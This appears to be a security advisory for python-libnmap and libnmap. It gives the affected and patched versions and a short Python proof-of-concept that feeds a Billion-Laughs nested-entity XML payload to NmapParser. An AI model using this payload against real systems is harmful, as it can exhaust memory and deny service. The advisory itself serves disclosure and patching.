| Package | Affected versions | Patched versions |
|---|---|---|
| python-libnmap | < 0.6.3< 0.7.2 | 0.6.30.7.2 |
| libnmap | < 0.6.3 | 0.6.3 |
python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
ty = NmapParser()
payload = """
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""
ty.parse(payload)
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